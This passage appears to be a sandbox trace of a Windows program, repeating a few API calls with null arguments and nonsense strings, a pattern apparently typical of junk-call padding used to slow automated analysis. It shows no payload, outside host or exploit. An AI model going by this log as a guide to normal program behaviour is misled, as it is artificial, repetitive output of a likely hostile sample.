	[0069.588] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.590] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.590] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.590] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.592] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.592] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.592] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.595] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.595] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.595] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.785] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.785] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.785] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.787] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.787] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.787] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.788] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.788] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.788] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.790] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.790] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.790] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.793] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.793] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.793] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.795] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.795] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.795] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.797] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.797] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.797] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.798] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.798] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.798] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.800] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.800] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.800] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.801] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.801] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.801] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.803] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.803] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.803] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.804] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.804] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.804] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.806] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.806] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.806] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.807] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.807] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.807] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.809] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.809] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.809] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.810] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.819] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.820] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.820] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.820] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.820] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.820] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.820] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.820] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.820] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.820] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.820] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.820] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.820] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.820] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.820] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.821] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.821] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.821] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.821] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.821] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.821] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.821] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.821] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.821] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.821] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.821] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.821] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.821] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.822] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.822] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.822] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.822] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.823] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.823] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.823] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.823] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.824] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.824] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.824] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.824] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.825] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.825] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.825] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.825] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
	[0069.826] SetICMProfileA (hdc=0x0, lpFileName=0x0) returned 0
	[0069.826] HiliteMenuItem (hWnd=0x0, hMenu=0x0, uIDHiliteItem=0x0, uHilite=0x0) returned 0
	[0069.826] SetConsoleMode (hConsoleHandle=0x0, dwMode=0x0) returned 0
	[0069.826] SetFileShortNameW (hFile=0x0, lpShortName="Dago") returned 0
